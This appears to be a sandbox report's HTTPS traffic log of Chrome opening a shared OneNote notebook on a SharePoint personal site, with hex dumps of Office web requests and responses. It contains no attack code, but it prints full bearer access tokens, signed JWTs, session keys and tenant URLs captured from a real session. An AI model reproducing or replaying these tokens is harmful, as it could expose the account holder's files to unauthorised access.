BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-04-26 07:59:22 UTC	15164	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 35 37 38 36 37 2c 22 4c 22 3a 5b 7b 22 47 22 3a 33 37 35 33 36 34 31 35 2c 22 54 22 3a 32 34 2c 22 4d 22 3a 22 4a 73 41 70 69 44 69 61 67 6e 6f 73 74 69 63 73 22 2c 22 43 22 3a 32 30 34 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 32 37 38 33 37 34 30 31 2c 22 54 22 3a 31 33 35 2c 22 4d 22 3a 22 41 74 74 65 6d 70 74 69 6e 67 20 74 6f 20 6c 6f 61 64 20 72 65 73 6f 75 72 63 65 20 68 74 74 70 73 3a 2f 2f 72 65 73 2d 31 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 3a 34 34 33 2f 6f 66 66 69 63 65 6f 6e 6c 69 6e 65 2f 6f 2f 73 2f 68 35 32 43 33 33 35 45 36 34 34 38 34 34 37 43 33 5f 41 70 70 5f 53 63 72 69 70 74 73 2f 4f 6e 65 4e 6f 74 65 44 53 2e 62 6f 78 34 2e 64 6c 6c 31 2e 6a 73 22 2c 22 43 22 3a 32 30 36 2c 22 44 22 Data Ascii: {"T":1714118357867,"L":[{"G":37536415,"T":24,"M":"JsApiDiagnostics","C":204,"D":50},{"G":527837401,"T":135,"M":"Attempting to load resource https://res-1.cdn.office.net:443/officeonline/o/s/h52C335E6448447C3_App_Scripts/OneNoteDS.box4.dll1.js","C":206,"D"
2024-04-26 07:59:22 UTC	1632	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 742c6415-08a8-44f5-a4c9-5571f1adb860 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C9 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5c&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091C9 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 901E22A451F046429FFF8FF601B060F7 Ref B: MIA301000106021 Ref C: 2024-04-26T07:59:22Z Date: Fri, 26 Apr 2024 07:59:21 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49839	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:22 UTC	3613	OUT	GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-4275C7CD-9559-49B5-9E00-8913E67B2426&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f OrgIdSiteUrl: https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS6 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-04-26 07:59:23 UTC	1078	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 5d579756-2959-463b-953c-a42791348a03 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C5 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091C5 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: FE42BEEA323748B5B86812743454D029 Ref B: MIA301000104049 Ref C: 2024-04-26T07:59:22Z Date: Fri, 26 Apr 2024 07:59:22 GMT Connection: close
2024-04-26 07:59:23 UTC	1215	IN	Data Raw: 34 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 Data Ascii: 4b8<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500
2024-04-26 07:59:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49845	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:23 UTC	4486	OUT	GET /afhs/CloudPolicySettings.ashx HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync x-OcpsIsEnabled: true X-Requested-With: XMLHttpRequest X-xhr: 1 x-CacheIsEnabled: false x-LicensingAADIdIsEnabled: false sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9.ePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC-lGpxzBDH9_YJe9eXoQ3MIJgGNGZp5_8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx_uD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k_Y8zjLO-AXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP_kPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f X-AccessTokenTtl: 1714154349045 sec-ch-ua-mobile: ?0 x-UserDataSignature: eyJhbGciOiJSUzI1NiIsImtpZCI6IjdFNEUzOEQ5QjM4RkExRDgxQTMzOEJBNTQxNzNFM0Y5OTE2OEREQzQiLCJ4NXQiOiJmazQ0MmJPUG9kZ2FNNHVsUVhQai1aRm8zY1EiLCJ0eXAiOiJKV1QifQ.eyJVUE4iOiJ1cm46c3BvOmFub24jZTNlNDIyM2I1ZTJjM2EzODY3ZGE1YTc2NWNiMjRkNDViOTlmOWYxOWVlZWI1M2VhMDhlODM0ZDc4NmJlMGIzZCIsIlBVSUQiOiIiLCJUZW5hbnRJZCI6IjlmNWFlNWUwLWY0NjgtNDRjMi04YmFhLWU2ZTdiYzM2YzcxMCIsIkZpbGVUZW5hbnRJZCI6IiIsIklzQ29uc3VtZXJVc2VyIjoiRmFsc2UiLCJJc0Fub255bW91c1VzZXIiOiJUcnVlIiwiSG9zdEVuYWJsZWRGZWF0dXJlcyI6IltdIiwiSXNPMzY1Q29uc3VtZXJIb3N0IjoiRmFsc2UiLCJJc08zNjVDb21tZXJjaWFsSG9zdCI6IlRydWUiLCJVc2VyT2JqZWN0SWQiOiIiLCJMb2NhbFN0b3JhZ2VLZXkiOiI5M0FLZHlZYzd6YnNOQ1BKajJza2VBTEx4SlVaU0ZSSXJUUnBSTWFMRzMwPSIsImF1ZCI6IldBQ0FGSFMiLCJuYmYiOjE3MTQxMTgzNTEsImV4cCI6MTcxNDExOTY3MSwiaWF0IjoxNzE0MTE4MzUxLCJpc3MiOiJXQUMifQ.p4jmKCoeMNJjjXbI1cD4OVWDb2GgdalisqrBXA6RrYPTQBTb_oKbaky8tRt9ftRveCCV2Gd4H9jTqVhXl_26-JaqUXbi4LrnCk5YfM68SQZ7ma6GdSPLbEhK4kTIDnbv9rNIEenulJtTWPdDTPRkda5VMlKiDo407IIG8exPoEaaveZmm9gTegnUgmdZKfvgLWXUjwB8zKAb_vRx6PDF1-r9q47hLW0vX1eU1XvooKZiDqU0HPsr3_iL-VrEVzd-KPUC7Yu0WsRQygHknMZpqvJ4uNNghjpIz5tqS2r5cxio0oUi8j-UJokkMdDPh8tblt7SOignS_X1aPMVpwA2Vg User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 x-LicensingIsEnabled: true X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS6 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-04-26 07:59:24 UTC	1248	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 470 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de;Path=/;Domain=usc-onenote.officeapps.live.com; samesite=none; secure X-CorrelationId: cfda9074-386d-41c0-9247-1570111c7d07 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF00007C4C X-OfficeVersion: 16.0.17614.41006 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-Content-Type-Options: nosniff CheckIn-Interval: 1440 X-OFFICEFD: SN3PEPF0001372A X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 24AE12978F414FFEB4B6C124665A727F Ref B: MIA301000107053 Ref C: 2024-04-26T07:59:23Z Date: Fri, 26 Apr 2024 07:59:23 GMT Connection: close
2024-04-26 07:59:24 UTC	470	IN	Data Raw: 7b 22 50 6f 6c 69 63 79 53 65 74 74 69 6e 67 73 22 3a 7b 7d 2c 22 43 6f 6e 74 72 6f 6c 6c 65 72 43 6f 6e 6e 65 63 74 65 64 53 65 72 76 69 63 65 73 46 65 61 74 75 72 65 4e 61 6d 65 73 22 3a 5b 22 6d 73 6f 5f 6f 66 66 69 63 65 53 74 6f 72 65 22 2c 22 6d 73 6f 5f 74 65 6c 6c 4d 65 53 65 72 76 69 63 65 22 2c 22 65 78 63 65 6c 5f 69 6e 73 65 72 74 4f 6e 6c 69 6e 65 50 69 63 74 75 72 65 73 22 2c 22 70 70 74 5f 69 6e 73 65 72 74 4f 6e 6c 69 6e 65 50 69 63 74 75 72 65 73 22 2c 22 77 6f 72 64 5f 69 6e 73 65 72 74 4f 6e 6c 69 6e 65 50 69 63 74 75 72 65 73 22 2c 22 77 6f 72 64 5f 69 6e 73 65 72 74 4f 6e 6c 69 6e 65 56 69 64 65 6f 73 22 2c 22 76 69 73 69 6f 5f 69 6e 73 65 72 74 4f 6e 6c 69 6e 65 50 69 63 74 75 72 65 73 22 2c 22 6d 73 6f 5f 69 6e 73 65 72 74 4d 6f 62 Data Ascii: {"PolicySettings":{},"ControllerConnectedServicesFeatureNames":["mso_officeStore","mso_tellMeService","excel_insertOnlinePictures","ppt_insertOnlinePictures","word_insertOnlinePictures","word_insertOnlineVideos","visio_insertOnlinePictures","mso_insertMob

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49748	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:23 UTC	624	OUT	GET /wise/owl/owl.handlers.27d51fd227a601990590.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://usigroups-my.sharepoint.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:23 UTC	1184	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 244552 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Fri, 26 Apr 2024 07:59:23 GMT Last-Modified: Tue, 23 Apr 2024 05:27:14 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=150721951815226769768789883044409037466"}],"include_subdomains ":true} Server: ECAcc (mid/8763) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: 58a4107a-b01e-006e-7976-953d2f000000 Content-Length: 76412 Connection: close
2024-04-26 07:59:23 UTC	16383	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 4d 69 63 72 6f 73 6f 66 74 5f 4f 66 66 69 63 65 5f 4f 57 4c 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 4d 69 63 72 6f 73 6f 66 74 5f 4f 66 66 69 63 65 5f 4f 57 4c 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 33 36 34 38 5d 2c 7b 31 36 31 31 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 72 2e 64 28 6e 2c 7b 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 7d 29 3b 76 61 72 20 74 3d 72 28 39 30 30 31 29 2c 6f 3d 72 2e 6e 28 74 29 2c 69 3d 72 28 34 39 37 35 29 2c 61 3d 72 2e 6e 28 69 29 28 29 28 6f 28 29 29 3b 61 2e 70 75 73 68 28 5b 65 2e 69 64 2c 22 2e 6c 4c 46 6a 69 32 4a 49 49 57 42 35 31 4c 6b 75 59 42 4b 4d 7b 77 69 64 74 68 3a 37 35 Data Ascii: (self.webpackChunkMicrosoft_Office_OWL=self.webpackChunkMicrosoft_Office_OWL\|\|[]).push([[3648],{1611:function(e,n,r){"use strict";r.d(n,{Z:function(){return s}});var t=r(9001),o=r.n(t),i=r(4975),a=r.n(i)()(o());a.push([e.id,".lLFji2JIIWB51LkuYBKM{width:75
2024-04-26 07:59:23 UTC	1	IN	Data Raw: 2c Data Ascii: ,
2024-04-26 07:59:23 UTC	16383	IN	Data Raw: 20 62 75 74 20 6e 6f 20 4f 6e 52 65 74 75 72 6e 46 6f 63 75 73 20 63 61 6c 6c 62 61 63 6b 20 69 73 20 64 65 66 69 6e 65 64 21 22 29 7d 76 61 72 20 61 3d 72 28 34 38 35 35 29 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 76 61 72 20 6e 3d 65 2e 6c 6f 67 67 65 72 2c 72 3d 65 2e 77 65 62 55 72 6c 2c 69 3d 65 2e 68 65 61 6c 74 68 2c 73 3d 65 2e 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 3b 6e 75 6c 6c 3d 3d 69 7c 7c 69 2e 61 64 64 51 6f 73 50 69 6c 6c 61 72 28 22 49 6e 74 65 72 72 75 70 74 69 6f 6e 73 22 29 2c 72 3f 28 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 2e 55 4c 53 2e 73 65 6e 64 54 72 61 63 65 54 61 67 28 35 32 39 33 38 39 35 39 33 2c 74 2e 57 2e 6c 2c 6f 2e 47 2e 49 6e 66 6f 2c 22 6f 70 65 6e 20 63 75 72 72 65 6e 74 20 64 6f 63 75 6d 65 6e 74 20 69 6e 20 62 72 6f 77 Data Ascii: but no OnReturnFocus callback is defined!")}var a=r(4855);function s(e){var n=e.logger,r=e.webUrl,i=e.health,s=e.correlationId;null==i\|\|i.addQosPillar("Interruptions"),r?(null==n\|\|n.ULS.sendTraceTag(529389593,t.W.l,o.G.Info,"open current document in brow
2024-04-26 07:59:23 UTC	16383	IN	Data Raw: 65 6d 46 72 6f 6d 4e 65 74 77 6f 72 6b 2c 6c 3d 65 2e 67 65 74 43 75 72 72 65 6e 74 44 6f 63 75 6d 65 6e 74 49 6e 66 6f 2c 75 3d 65 2e 68 6f 73 74 2c 63 3d 65 2e 68 65 61 6c 74 68 2c 66 3d 65 2e 6c 6f 67 67 65 72 2c 70 3d 65 2e 6f 66 66 69 63 65 44 6f 63 75 6d 65 6e 74 53 65 73 73 69 6f 6e 2c 76 3d 65 2e 77 6f 70 69 48 6f 73 74 44 61 74 61 2c 6d 3d 65 2e 73 65 73 73 69 6f 6e 43 6f 6e 66 69 67 2c 68 3d 65 2e 75 69 48 6f 73 74 43 6f 6e 66 69 67 2c 77 3d 65 2e 69 6e 69 74 50 61 63 6b 61 67 65 50 61 72 61 6d 73 3b 72 65 74 75 72 6e 28 30 2c 64 2e 6d 47 29 28 74 68 69 73 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 6b 2c 41 2c 43 2c 79 3b 72 65 74 75 72 6e 28 30 2c 64 2e 4a 68 29 28 74 68 69 73 2c 28 66 75 Data Ascii: emFromNetwork,l=e.getCurrentDocumentInfo,u=e.host,c=e.health,f=e.logger,p=e.officeDocumentSession,v=e.wopiHostData,m=e.sessionConfig,h=e.uiHostConfig,w=e.initPackageParams;return(0,d.mG)(this,void 0,void 0,(function(){var e,k,A,C,y;return(0,d.Jh)(this,(fu
